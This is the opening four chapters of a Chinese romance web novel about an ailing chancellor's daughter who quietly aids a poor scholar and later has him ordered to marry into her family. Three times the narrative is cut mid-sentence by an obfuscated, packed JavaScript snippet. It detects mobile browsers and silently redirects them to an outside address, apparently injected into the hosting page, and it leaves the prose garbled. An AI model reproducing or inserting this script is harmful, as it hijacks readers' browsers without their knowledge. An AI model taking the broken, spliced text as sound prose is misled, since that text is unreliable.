《病美人她强娶了状元郎》 1. 第 1 章 天幕沉沉垂落，几点疏星被浓云遮得朦胧。 夜已经很深了，但半山腰的庄子里还灯火通明。 廊下值守的下人垂手肃立，丫鬟们捧着热汤暖炉，脚步轻缓地穿梭往来。 “咳咳……” 床旁的桌案上，堆满了从崇安城送来的密函和账册。 穆卿云靠坐在床头，放下药碗，捏着帕子掩唇轻咳。 “小姐……” 知微端来一碟蜜饯，劝道，“您喝了药早点休息吧，别再操劳这些庶务了。大夫说您身子虚，最忌劳神，需得静养。” 穆卿云捻起一颗蜜饯放进口中，压下喉间翻涌的苦味儿。 “让他们都下去吧，不必守着，让我静一静。” 她揉了揉眉心，苍白的脸上满是疲惫。 屋里的烛火明明灭灭，穆卿云刚缓了口气，就听见一墙之隔的院子外，传来清越的琅琅书声。 “夫仁政，必自经界始。经界不正，井地不钧，谷禄不平……” 刚要出门的知微自然也听见了这道声音。 她脚步一顿，扭头看了眼穆卿云的脸色：“夜深人静的，不知何人在外喧哗，奴婢这就去把人撵走。” 但不料，穆卿云却忽然抬手制止：“不必，随他去吧。” 这道声音她并不陌生。 她来潼水养病的这段日子，夜里时常能听见墙外的这道读书声。 有时候是《尚书》，有时候是《盐铁论》，有时候是针砭时弊的策论，言辞犀利，一针见血，应该是他自己所作的文章。 这人虽身处乡野，却心有沟壑。 穆卿云听得出他字句里的凌云意气，自然也听得出他对报国无门的郁郁不得志。 可惜了，这等经世之才，倒是比崇安城里，那群尸位素餐的草包要强上不少。 下人们轻手轻脚地退了出去，屋子里重新安静下来。 穆卿云捂着胸口轻咳了一会儿，叹了口气在床上躺下，闭眼听着那道读书声，身上的不适仿佛渐渐淡了，心绪也跟着平和了几分。 几场冬雨过后，是个难得的大晴天。 穆卿云处理完手头的事务，决定去院子里走走。 潼水的冬日不算太冷，气候宜人，是个适合养病的好地方。 穆相本意是想让女儿远离朝堂，放下肩头的担子，去山水之间好好将养身心。 可谁知，穆卿云虽然离开了崇安城，雪花般的书信却还是簌簌落在她的案头，无一日停歇。 “小少爷又来信了，说想念阿姐，想来潼水找您呢。” 知微扶着她的手臂，轻声禀道。 想起那封字迹被泪水晕开些的信，穆卿云也不禁莞尔：“子钰还小，眼下正是课业要紧的时候，父亲不会放他离开崇安的。” 知微打趣道：“咱们小少爷从小最黏您，这一别数月，怕真是度日如年了。” 穆卿云抬眸，望向墙头那枝斜探进来的蜡梅，忽然想起，院外那道读书声，似乎有好几日没有响起了。 是放弃考取功名了，还是家中有事耽误了？ 穆卿云不得而知，只是心里隐隐有些失落。 就好像在寂寥寒冷的暗夜里，默契并肩行走的两个人，却忽然断了联结，了无踪迹。让人忍不住有些莫名的怅然。 下午在书房处理完堆积的事务，天色已经暗了下来。 穆卿云缓步走在清冷空寂的廊下，连日操劳的疲惫让她有些头重脚轻。 知微走在她身后，正琢磨着晚上要不要让厨房再加一道滋补的药膳，前面的人忽然停住脚步，她没反应过来，差点一头撞上去。 “小姐？”知微慌忙收步，探头问，“您怎么了？” 穆卿云眉峰微蹙，望向院外的方向：“外面的灯笼怎么灭了？” 知微顺着她的视线看过去，解释道：“兴许是前两日夜里风大，灯烛被吹熄了，奴婢这就让人重新点上。” 原来如此…… 那人每晚就是靠着这点微光照明，才能在檐下读书到深夜，怪不得最近几天都没来了。 穆卿云悄悄松了口气，心底忽然又升起几分隐秘的期待。 子时的更鼓敲过，案头的灯油也添过好几遍。 穆卿云终于搁下批注用的朱笔，起身揉了揉僵硬的肩膀。 正在一旁打盹的知微见状，连忙醒了醒神，上前扶住她的手臂。 “小姐，很晚了，该歇了。” “嗯。” 穆卿云把案头的文书都整理好，“明日把这些信件都送回崇安城，让他们按我批注的意思去做。” “是。” 知微轻声应下，又替她解开外袍，服侍她上床躺下。这才吹熄了油灯，默默退出了里间。 一片黑暗的寂静里，穆卿云缓缓翻了个身。 身体上那些被刻意忽略的不适又逐渐漫了上来，让她耳畔嗡鸣不止，胸口发闷，忍不住轻咳了两声。 “咳咳……” 忽然，那道熟悉的声音又在院外响起。 “治世之要，在得民心、整朝纲、安社稷。乱世之兆，在冗官误国、苛政伤民、贤才隐野……” 穆卿云连忙捂住嘴巴，忍住喉咙里的痒意，凝神细听。 “……冗官冗吏充斥朝野，无功者窃居高位，有才者沉沦下僚。当今之世，表面承平，内里已现颓势……” 这人当真大胆，竟敢妄议朝纲，不过也就是仗着这里地处乡野，远离崇安朝堂，无人在意罢了。 大抵他自己也没想到，一墙之隔的院子里，居然还有人在认真细听他这满纸孤愤的策论吧。 穆卿云微微摇头，眼里却流露出几分赞赏。 虽说此人言辞间尚有几分青涩，但这份忧国忧民的赤诚和坦荡却十分难得。 如今的朝堂之上，缺的也正是像他这样，真正能为黎明百姓发声的寒门官员。 院外那人正读到慷慨激昂处，声音却忽然戛然而止。 穆卿云屏气凝神等了好一会儿，都没听到后续，正在疑惑间，院外那人却忽然哼起了一支柔和的小曲。 那曲子没有歌词，只有悠扬舒缓的旋律，混着夜风吹过蜡梅的暗香，轻轻飘进屋里。 小曲哼了半阙，便渐渐低了下去，最后只剩一声极轻的叹息。 穆卿云的心头莫名一动，竟忽然生出一股想要见他一面的冲动。 也许是想看看这在深夜挑灯论政的人，到底长什么样子。 也许只是感念他这份不被世俗折腰的赤诚，想力所能及地帮他一把。 总之，在身为相府大小姐的这十八年里，穆卿云极少出现这种不受控的念头。 “秦砚！” 药铺掌柜一边招呼着围在台前的客人，一边麻利地把包好的药包捆结实，伸长脖子对着门外喊了一声。 “你的药好了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524715|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎！来了！” 坐在门外石阶上看书的书生连忙站起身，拍了拍衣摆上的浮灰。 他身材高挑挺拔，长得眉清目秀，穿着一身浆洗到发白的袍子，双手接过沉甸甸的药包，笑着冲掌柜的点了点头。 “多谢掌柜的！” 掌柜的摆了摆手，叮嘱道：“还是老样子，一天两剂，早晚各煎一次温服，你娘要是情况不好，再来找我便是。” “我记下了，”秦砚挠了挠头，有些窘迫道，“这次的药钱我再想想办法，争取三日内凑齐给您。” “不急，给你娘治病要紧。” 掌柜的拍了拍他的肩膀，大笑道，“我还等着你金榜题名，将来高中状元，可别忘了我们这些乡亲父老啊哈哈哈……” 他这话虽是好意，但却让秦砚更加难堪，还引得店内众人纷纷侧目，对着他指指点点。 “哟，这不是村东头秦木匠的儿子吗？” “可不是嘛！瞧他那样儿，去哪儿都带着那几本破书，看来是还没放弃做状元梦呢！” “他老娘都那样了，他还天天抱着那些书瞎琢磨，连药钱都凑不齐。” “我看啊，他这书都读到狗肚子里去了，还不如当初早点继承他爹的衣钵，当个木匠，好歹能换口饭吃呢！” “就是！寒门子弟还想登科及第？简直是痴人说梦！” “……” 刺耳的议论声钻进耳朵，秦砚低着头，脸颊涨得通红。 他对着掌柜千恩万谢之后，连忙拎着沉重的药包，一路小跑回到了自家的茅草屋。 前几日夜里刮了大风，低矮的篱笆墙被吹塌了一截，还没来得及修缮。 狭小的院子里，靠着围墙的角落，用油纸布盖着一堆做木工的工具，上面还铺了一层防潮的稻草。 秦砚把手里的药包放在院子里的石桌上，然后拿上几根粗木棍和麻绳，去修补那片倒塌的篱笆墙。 屋里的人听见动静，拄着拐杖扶着墙，颤颤巍巍地走了出来。 “砚儿，是你回来了吗？” “是我，”秦砚丢下手里的东西，连忙上前搀扶，“娘，您怎么下床了？” 秦母患病卧床已久，整个人已经瘦成了一把干柴。 松松垮垮的皮肉挂在嶙峋的骨架上，走几步都像是要散架了。 秦母伸出枯瘦的手，拍了拍儿子的手背：“那片篱笆你别管了，趁着天色还亮着，赶紧去读会儿书吧。” 想起刚刚听见的那些议论，秦砚瞟了一眼墙角的工具，犹豫道：“娘，要不我这几天先去接点木工活儿，多挣些银子，给您治病要紧。” 不料，秦母闻言，却忽然激动起来。 “你胡说什么？是不是又在外面听了什么闲言碎语？早就跟你说过了，家里的事不用你操心，你只需安心读书，只有踏入仕途，将来才能出人头地……咳咳咳……” 话说到激动处，秦母突然剧烈咳嗽起来，整个人抖得如同风中残烛。 秦砚连忙扶着母亲在凳子上坐下，“娘，您别激动，儿子听您的话就是了。” 秦母弯着腰，胸腔里发出破风箱似的呼哧声，好一会儿才渐渐平复。 她抬起头，语重心长地对儿子说：“虽然你爹走得早，但是我们对你的期望从来没变过。” “娘相信你是有大出息的人，不要被眼下的苦难困住了。熬过这一程，等你一朝高中，咱家就能彻底翻身了。” 2. 第 2 章 “踏入仕途……” “出人头地……” “彻底翻身……” 可是娘……登科入仕的青云路哪有那么容易？ 家里穷得都快揭不开锅了，哪还顾得上那些虚无缥缈的锦绣前程？ 如此执着这条路，难道真的不是在自欺欺人吗？ 郁郁葱葱的半山腰上，秦砚撑着膝盖喘了口气，抬头看向山林之中，那处气派幽静的庄子。 两个多月前，他夜里上山砍柴，意外发现这里一直空置的庄子外头居然亮着灯。 庄子里不知住着何人，白日里也没看见下人进出。 那朱门高墙的院子外，不要钱似的彻夜点着灯笼。 秦砚默默观察了几日，发现此处似乎无人看管过问，于是便在院子外搭了一个临时的遮雨棚，时常带着书本上山，借着那片彻夜不熄的微光，一遍遍诵读经史策论。 虽然这会儿天色还早，还没到他平日来读书的时候，但秦砚心头苦闷，不知不觉间就走到了这里。 或许只有沉浸在经史字句之中，才能暂时驱散心头的迷茫吧。 秦砚轻轻叹了口气，走向他亲手搭起的遮雨棚，想去取放在那里的书卷。 可今日他刚拐过墙角，就看见一道头戴帷帽，身姿纤细的背影，正弯着腰，在细细打量他留下来的破旧书卷。 秦砚惊得停住脚步，他从未想过，这庄子里竟然真的有人。 “姑娘……” “啊……” 穆卿云没注意到有人靠近，被吓得一颤，手里的书卷落在地上。 “失礼了……” “唐突了……” 两人同时躬身，同时跟对方道歉，又同时停下。 穆卿云连忙捡起地上的书卷，将它放回原处，然后才又对他欠了欠身：“今日闲来出门散步，看见这里摆放着书卷纸笔，一时好奇就多看了几眼，还望公子莫要见怪。” 秦砚心头一慌，连忙拱手弯腰：“姑娘言重了，是在下擅自在此处借光读书，占了地方。若是叨扰了姑娘，在下这就把东西撤走。” “不妨事，此处空旷，公子自便就好。” 穆卿云笑了笑，这才抬眼，隔着帷帽的纱帘，打量着面前的书生。 他身上虽然穿着发白的粗布旧袍，但眉目清俊干净，鼻梁挺直，唇线利落。即便衣着朴素，也难掩那股温文尔雅，芝兰玉树的君子气质。 倒是跟她想象中，如出一辙。 虽然隔着一层白纱，但秦砚还是能感受到她的视线一直落在自己身上，于是脸更红了。 他低下头，看向那堆破旧的书卷，苦笑道：“只是一些废纸残篇，让姑娘见笑了。” 穆卿云微微偏头，似乎是看了书堆一眼：“这篇《治世疏》，可是公子所做？” “是，”秦砚老实道，“闲来有感而发，言语粗鄙，难登大雅之堂。” “我刚刚看了数行，只觉得见解独到，立论沉稳，格局开阔，绝非寻常书生空谈之语。字里行间皆是赤诚，有忧国忧民之心，亦有济世安民之志。这般才学风骨，便是在世家子弟之中，也极为难得。” 忽然意识到自己说的好像有点多了，穆卿云轻咳一声，又问：“公子有这等才情，为何不进京赶考，一展抱负，为国效力？” 没想到今日已经是第三次提及此事，秦砚苦笑道：“不瞒姑娘，在下囊中羞涩，连进京的盘缠都凑不齐。还有家母年迈体弱，需人照料，实在无法抽身远行，所以只能暂且搁置赶考之心，先守着家母，挣些碎银为她治病。” “哦……” 穆卿云指尖捻着帷帽的系带，轻叹一声，“那真是可惜了。” 秦砚不敢跟她对视，只能规规矩矩地低头答话。 即使这位姑娘只穿着一身素色襦裙，却也不难看出那料子上乘，裙角还绣着暗纹，是普通人家绝对难以企及的体面。 她虽然帷帽遮面，但举手投足间皆是大家闺秀的温婉气度。 相比之下，自己身上这套打满补丁的粗布旧袍就显得格外寒酸。 秦砚攥住衣角上的补丁，悄悄背过手，想要掩饰自己的窘迫。 他在脑中迅速把潼水城所有的高门大户都捋了一遍，也没想起哪家有位这般年纪的小姐。 “姑娘是哪座府上的小姐？是来这庄子里小住散心？” “我只是一介闲人，图这山间清净，所以便来这里稍作停歇罢了。” 穆卿云说完，对他微微欠身，“我该回去了，不打扰公子用功。” “呃……哦……” 这位姑娘谈吐不凡，待人谦和，说话温柔又好听，还夸他有风骨。秦砚私心还想跟她多聊一会儿，但碍于礼数，也只好连忙侧身让开，垂着头恭敬道：“姑娘慢走。” 穆卿云衣袂翩飞，带起一缕馨香，经过他身边的时候，似乎还轻笑了一声。 “公子安心读书，日后若有机缘，或许还能再见。” 天色渐晚，庄子外的灯笼一盏接一盏地亮起。 秦砚倚在墙边，手里捧着那卷常读的书卷，却半天没有翻动一页。 他心神恍惚，眼神发直，脑海里一直萦绕着刚刚那位姑娘。 “见解独到，立论沉稳，格局开阔……有忧国忧民之心，亦有济世安民之志……” 回想起她夸自己的话，秦砚忍不住嘴角上扬，傻笑出声。 山中传来几声归鸟的啼鸣，这才拉回他的神智。 秦砚甩了甩脑袋，摒除杂念，暗怪自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524716|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太过分心。正准备掏出书堆里的笔记，却忽然发现，书卷夹层里似乎有一个硬邦邦的东西。 他伸手拿出来一看，发现竟然是一枚沉甸甸的金元宝！ 秦砚活了十七年，还是头一次见到这么大的金子。 平日里他挣的碎银，勉强够给娘亲抓药，维持生计，别说金元宝，便是一两银子，他都要攒上许久许久。 秦砚表情空白了好一会儿，好在还没有完全失去理智。 他很快想到，在这人迹罕至的山林间，会留下这般贵重之物的，只可能是先前那位姑娘！ 萍水相逢，非亲非故，他如何受得起此等大礼？ 秦砚立刻放下手里的书卷，大步跑向庄子大门。 他站在朱红色的大门前，低头整理了一下衣襟，才抬起手，轻轻叩响门板。 过了一会儿，里面传来脚步声，大门很快被打开，但前来开门的却是另一位姑娘。 秦砚愣了一下，还是低头拱手道：“姑娘，在下今日在庄子外碰见贵府小姐，这枚金元宝应该是那位小姐留下的，还请姑娘代为转交，物归原主。” 知微上下打量他一眼，心里暗骂了一句“书呆子”，掩唇轻笑道：“既然是我家小姐赠与公子的，那万没有再收回来的道理，公子且安心收下吧。” 秦砚连忙摆手，推辞道：“不不……这太贵重了，这般厚赠，在下受之有愧……” 知微直接打断他：“若是公子当真觉得过意不去，那就好好读书，争取早日金榜题名，莫要辜负我家小姐的赏识才好。” 话音刚落，那扇大门便再次合拢。 只留下秦砚满脸呆滞地伫立在门外，久久未能回神。 书房里。 穆卿云正伏案执笔写字，听见知微的脚步声进来，头也不抬地问道：“是他吗？” “是呢，”知微笑着打趣道，“那书呆子冷不丁得了一锭金元宝，吓得魂儿都飞了，双手捧着非要送回来，让我给打发走了。” “处境窘迫，三餐难继，却还能守得住本心，不贪意外之财，这份风骨倒是难得。” 穆卿云搁下笔，想起今日在他那篇《治世疏》末尾看到的落款。 “秦砚……” 这名字倒是配他，希望他日后能得偿所愿吧。 知微凑上前来，疑惑地问：“小姐这般惦记他，莫不是真觉得这书呆子将来能登科及第？” 穆卿云摇了摇头，却并未否认：“识人看心，观文见志。他眼底有光，心中有丘壑，只要得一个机会，未必不能一鸣惊人。我今日所做，不过是顺手递他一把，能否抓住，终究还是要看他自己。” 知微悄悄撇了撇嘴，嘟囔道：“希望那呆子争点气，别辜负我们小姐的一番苦心。” 3. 第 3 章 两年后。 御街风暖衣袍胜，一朝名动帝王城。 新科状元秦砚，受封为翰林院修撰，官阶正六品，专掌修撰国史，草拟文书。 他在崇安城租了一间低矮的茅屋，屋子虽破旧了些，但好歹能遮风挡雨，收拾干净整洁之后，也算是有了一个落脚之处。 这日清晨，天刚蒙蒙亮，院门外就传来一阵呼喊声。 “秦砚！收拾好了没有？该去翰林院点卯了！” “来了来了！” 秦砚连忙搁下手里的粥碗，起身过去开门。 外面站着的是一身官袍的尹都。 当初两人一同进京赶考，寒冬腊月一起挤在破庙里苦读，因此结下了深厚的友谊。 虽说尹都才学一般，最后也只在翰林院得了个抄写打杂的差事。 但他性子豁达，从不计较高低，看到秦砚能高中状元，他比谁都高兴。 “先进来吧，我马上就收拾好。” 秦砚拉开老旧吱呀的木门，侧身让尹都先进屋。 尹都摸了一把掉渣的墙皮，一脸嫌弃地说：“你如今都是翰林院修撰了，也不说租个好点的房子，赚那么多钱都攒着做什么？” 秦砚端起碗，一口喝完剩下的粥，然后一边收拾碗筷，一边回答道：“这里清净便宜，离翰林院也近，能安心读书做事，我觉得挺好的。” 还有另一层原因他没好意思说。 虽说如今已经顺利入仕为官，但他却仍然记着当年那位姑娘雪中送炭，赠与他的金子。 他如今努力攒钱，也是为了将来寻得那位姑娘，好当面还了这份恩情。 收拾完，两人一同出门，来到翰林院。 尹都当差的待诏厅在翰林院西侧的偏院，于是进门后两人就拱手作别，各赴差事。 秦砚来到属于自己的小小隔间，桌案上还堆着一摞码放整齐的孤本残卷。 这是院正大人交给他的任务，需得校勘文稿中的讹误，重新装订成册，再交由待诏厅誊录清本。 翻开一本满是虫蛀痕迹的残卷，秦砚打起精神，取来笔墨和校勘用的小楷纸，一笔一画补全缺失的文字。 忽然，有人敲了敲隔间的门板。 “秦修撰，忙着呢？” 秦砚抬头一看，见是翰林院的管事李大人，连忙起身作揖：“李大人前来，可是有什么吩咐？” 李管事笑呵呵上前，拍了拍他的肩膀：“秦修撰初入翰林院，院正大人十分赏识你的才华，今日召你过去，是有要务交代，随我来吧。” 秦砚心中虽有疑惑，却还是恭敬应道：“是。” 二人一路穿过朱红廊柱，来到院正大人的掌院堂。 李管事敲开门，侧身让秦砚进去，自己却只侯在门外。 秦砚看了他一眼，理了理官袍，这才走入堂中。 “院正大人，”他敛衽行礼，神色恭敬，“不知大人召属下前来，有何吩咐？” 年近花甲的掌院学士韩信鸿头发花白，却精神矍铄，眼神锐利。 他手中握着一卷文书，扫了一眼堂下立着的人，问：“秦修撰，待诏厅供事尹都，你可认得？” 秦砚不敢隐瞒，老实道：“尹都是与在下一同赶考，患难与共的好友，属下不知……他可是犯了什么错？” 韩信鸿招了招手，示意他走近些，把桌上的文书给他看。 那是翰林院各部门的考核清单，在尹都的考评一栏，写了一个鲜红的“下等”。 秦砚眉头一跳，心里吃了一惊。 要知道，若是在翰林院考评中被评为下等，那可是要面临着罢黜革职的风险。 韩信鸿盯着他的表情，又从手边的卷宗里抽出另一份文书，摊开放在他面前。 秦砚俯身细看，只觉得越看越心惊。 “院正大人，您这是何意？” 韩信鸿神色淡淡，手指轻轻点了点尹都的名字。 “修撰，听闻你与此人交好。老夫也不是不近人情的人，只要你在这份弹劾京兆尹邵同光的联署书上签个名，你朋友的前程就能保住。一份联署，换你朋友一个出路，这买卖很公平，你说是不是？” 虽说秦砚入仕不久，却也听闻过朝中派系倾轧。 翰林院院正韩信鸿，是当朝太傅温广誉的人，而这封弹劾信的目标邵同光，却是丞相穆正德的心腹。 韩大人此举，一是想借秦砚之手，铲除异己。 二是想试探一下，这位寒门出身的新科状元，到底会选择哪方阵营。 早就听闻穆相清正廉明，素来体恤寒门士子。 秦砚出身低微，拼了命地寒窗苦读才走到今天，必然做不出这等趋炎附势，构陷忠良之事。 他垂手而立，沉默良久，还是沉声拱手道： “大人，晚辈要是签了这个名，既对不起自己十年寒窗读的那些圣贤书，也没脸再见我那位好朋友。今日我若为救一人而害一人，他日必为救十人而害百人。此路一开，永坠阿鼻。请恕……晚生不能从命。” 韩信鸿眯着眼睛深深看着他，忽然哼笑一声：“罢了，老夫不过是随口问问而已，你下去吧。” 秦砚再次躬身行礼，缓缓退出掌院堂。 直到走出很远，他才恍然发觉，自己竟然惊出了一身冷汗。 他知道，今日这番拒绝，定然会得罪韩大人，往后在翰林院的日子，怕是不会好过了。 原以为此事就这样过去了，但三日后的朝会上，因为一项“荫补士子”的提议，穆相和太傅两派，又在金銮殿上吵得不可开交。 温太傅吵得口干舌燥，缓了口气，忽然扭头看向了队列末尾的秦砚。 “秦修撰，你乃寒门翘楚，又是陛下亲自点的状元，说说看，你对这个提议怎么看？” 此言一出，就连御座之上的皇帝，都把视线投向了这位年轻的修撰。 在令人窒息的寂静中，秦砚出列，走到大殿中央，向御座深深一拜。 “陛下，诸位大人。此议，臣，坚决反对。” 秦砚全然不顾四周传来的抽气声，继续说道。 “臣出身寒微，深知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524717|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一间陋室、一盏油灯、一卷借来之书，得来何等不易。世家子弟已经占尽朝堂先机，万不能再借着‘荫补’之名，垄断仕途、挤压寒门出路。若是此议推行，恐怕会寒了天下千万寒门士子的心。” 这人怕不是疯了吧？ 竟敢当众反对太傅的提议？ 满朝文武皆是一惊，连穆相都微微蹙起眉头，看向秦砚的目光里，多了几分赞赏之色。 “秦砚！”韩信鸿低着头，拼命跟他使着眼色，“别说了！快住口！” 秦砚明白，他如今早就骑虎难下了。 就算他现在闭口不言，温太傅一党也绝不会放过他，迟早会找他的麻烦。 既然如此，索性破釜沉舟，把自己心里的想法，全都痛痛快快地说出来。 “今日之议，名为‘荫补士子’，实为断绝千万寒门之望，复辟门阀之私！此例一开，科举将形同虚设，寒门再无晋身之阶。臣，愿以一身之前程，一身之安危，坚决反对此议！” 话音落下，金銮殿上鸦雀无声。 皇帝居高临下地凝视着这位出身寒门，却敢直言犯上的新科状元，忽然勾起一抹意味深长的轻笑。 “狂妄竖子！不知天高地厚！” 温太傅大怒，大步上前道，“陛下，此子殿前狂言，诋毁国策，离间朝堂！恳请陛下严惩，以正朝纲！” 灰色的云层低低压在崇安城的上空，寒风刮在脸上，带着刺骨的凉。 秦砚孤身一人站在翰林院门前，执拗地等待着韩大人的召见。 朱红的大门前，无数官吏杂役进进出出，却没有一个人愿意上前与他搭话，要么低头疾走装作没看见，要么隔着老远就悄悄绕开。 谁都知道，秦砚今日当众顶撞温太傅，又得罪了身为太傅党羽的韩院正，此刻跟他扯上关系，无异于引火烧身。 李管事路过门前，有些不忍，上前劝道：“秦修撰，你今日因为顶撞太傅，已经被罚了半年的俸禄，怎么脑袋还是不开窍呢？” 秦砚被冻得鼻尖通红，垂头拱手道：“李大人，今日之事是我一人执意为之，与旁人无关。在下只是想当面问问韩大人，为何要借考评之事刁难尹都，迁怒于他？” “那尹都考评得了下等，被贬黜也是情理之中，有什么好深究的？” “我与尹都相好，最明白他的勤勉。他往日里抄录文书，校勘典籍从未出过差错，何至于被评为下等？这般颠倒黑白，公平何在？” “官员考评都是上头的大人们说了算，岂是你说不公就不公的？” 李管事见跟他说不通，于是摇了摇头，也转身离去。 细碎的雪花飘落而下，簌簌落在翰林院的飞檐和朱门上。 也落在秦砚的肩上。 往来的官吏早已散尽，偌大的院前空空荡荡，只剩寒风卷着雪沫，在空旷的石阶上打着旋。 红墙被雪浸得发暗，石狮覆雪如霜，整座翰林院静得可怕。 他就这样执拗地站在翰林院的大门口，犹如一尊孤傲的寒玉，在等待着一份无人能给的公正。 4. 第 4 章 窗外寒风彻骨，相府的暖阁里燃着银丝炭。 屋里暖融融的，却驱不散穆卿云周身的寒意。 “咳咳咳……” 她肩头披着厚厚的狐裘，倚在贵妃榻上，听着父亲讲述今日朝中发生的事情。 “那秦砚怕是要折在太傅手里了，”穆相摇头叹息，“可惜了，是个好苗子。” 穆卿云攥紧染了血的帕子，抬眼望向窗外枯枝上最后一片不肯坠落的叶。 “父亲，救他。” 穆相满脸愕然：“如何救？” “请旨，让他入赘相府。” 穆卿云声音很轻，却很坚定，“女儿这副身子，撑不了太久。既然要死，不如死前做件善事。” 穆相闻言，眼眶忽然就红了。 “时雨，别这么说……爹爹一定会为你找到神医，治好你的病。你还这么年轻，别说这些丧气话。” 穆卿云淡然地笑了笑，继续说道：“若我不在了，子钰又还小，相府需要有人挑起大梁。女儿觉得，秦砚或许是个不错的人选。” “阿嚏——” 秦砚打了个喷嚏，偏头揉了揉鼻子。 他前两日在雪中站了太久，回去当晚就病倒了。但因为处境艰难，又不敢随意告假，只得强撑着病体，一步步挪到翰林院当差。 从前还有尹都陪他，那时事务虽繁杂，到底不觉得孤单。 如今尹都被罢黜，偌大的翰林院，竟然没有一个能说上几句闲话的人。 满室寂静，冷清得让人发慌。 浩瀚如海的残卷怎么也整理不完，案牍堆得像一座座小山。 当初金榜题名，风光无两，秦砚还以为自己终于可以凭一身才学，去实现胸中抱负。 可世事难料，那些拨弄风云的大人物们轻飘飘一句话，就让他一头扎进了这深不见底的泥潭，怎么挣扎都爬不起来。 正恍惚间，门外忽然传来一阵尖细的通传声： “圣旨到——翰林院修撰，秦砚接旨！” 秦砚听见自己的名字，心头一震，连忙放下手中的残卷，匆匆来到院中。 一名身着靛青色宫衣的太监，手捧圣旨，神色倨傲地站在院中央。 翰林院的官吏们闻声都探出头来，远远地站着，没人上前，目光却齐刷刷地落在秦砚身上。 “奉天承运，皇帝诏曰：新科状元秦砚，才情出众，品性端方，朕心甚慰。今丞相穆正德之女穆卿云，温婉贤淑，愿得良人相伴。特赐秦砚入赘穆府，与穆氏婚配，择吉日完婚。婚后秦砚留任翰林院修撰，加赏五品俸禄，钦此！” 高亢嘹亮的声音落下，秦砚直接僵住了，大脑一片空白。 入赘相府？ 来崇安城这么久，他从未与相府有过半点交集，更未曾见过那位穆小姐，陛下怎会突然下此圣旨？ 见这人还傻愣着不动，太监不耐烦地轻咳一声，晃了晃手中的圣旨。 “秦修撰，接旨啊。” 秦砚这才如梦初醒，僵硬地双手接过圣旨。 “臣……臣领旨，谢主隆恩。” 太监见他接了旨，也不多留，冷哼一声，带着小太监转身离去。 他一走，翰林院的官吏们就炸开了锅。 “啧啧，真是没想到啊，秦砚这是走了狗屎运了！” “可不是嘛，前几日还在门口罚站，如今竟能入赘相府，攀上穆相这棵大树，这是要一步登天，飞上枝头变凤凰了啊！” “嘘……小声点，别被他听见了，往后他可是穆相的女婿，咱们可得罪不起。” “哈哈哈……” 秦砚握着圣旨，孤零零地站在院子里。同僚们的嘲讽声清晰地传入耳中，他却无力反驳，也无心反驳。 寒风吹得他瑟瑟发抖，却不及心中的茫然半分。 为了弄清楚这道圣旨的来由，秦砚第二天一早便等在相府门前，只待穆相一出现，就立刻冲了上去。 “丞相大人！在下翰林院秦砚，斗胆一问，陛下为何会突然赐在下入赘相府？” 穆相抬手示意身边的侍卫退到一旁，意味深长地看了秦砚一眼，叹道：“秦修撰不必多问，这门婚事，于你而言，是福非祸，你只管回去做好准备便是。” “丞相大人……” 秦砚一头雾水，还想上前追问，却被侍卫们出鞘的刀刃给生生逼退。 城郊的一家茶楼里。 尹都给秦砚倒了杯酒，大咧咧道：“兄弟，别发愁了。我听说那相府千金是个病秧子，没几天活头了，等她死了，你还不是照样可以另谋出路，潇洒快活？” 秦砚举起酒杯抿了一口，被辛辣的酒液呛得连连咳嗽。 “噗咳咳……你这不是茶楼吗？怎么还卖酒？” 尹都笑着递给他一块干净的手帕：“这你就不懂了吧，即是茶楼，需得有清茶待雅客，当然也少不了美酒慰风尘。” 秦砚擦了擦嘴角，抬眼扫了一圈这简陋破败，桌椅陈旧，三面漏风的茶楼，愧疚道：“尹兄，是我连累了你，害你丢了官职，如今落得这般境地。” 尹都摆了摆手：“没什么大不了的，反正我早知道自己不是当官的料子。不瞒你说，其实我早就不想在那儿干了，所以你也不必把此事放在心上。” 可当初两人寒窗苦读，为的不就是有朝一日入朝为官吗？ 如今却害他落得个贬黜官职，流落城郊的下场，秦砚还是满心愧疚，终究过不了自己这关。 尹都展开手臂，眉飞色舞地环视自己的这家茶楼。 “我这里虽暂时简陋了些，但胜在逍遥自在，不必察言观色，谨言慎行，也不必看那些官员勾心斗角。每日守着这小茶楼，喝喝酒、聊聊天，岂不美哉？” “话虽如此，可这终究不是你我当初所求，还是委屈你了。” 秦砚从怀中掏出一个沉甸甸的荷包，放在他面前。 “这是我的一点心意，尹兄如今茶楼生意刚起步，多得是用钱的地方，还望莫要推辞。” 尹都知道，若是他不收这钱，秦砚这家伙肯定会耿耿于怀，说不定晚上连觉都睡不好。 于是他伸手拿起荷包掂了掂，笑道：“那就却之不恭了，来！今日好酒管够，你我兄弟二人不醉不归！” 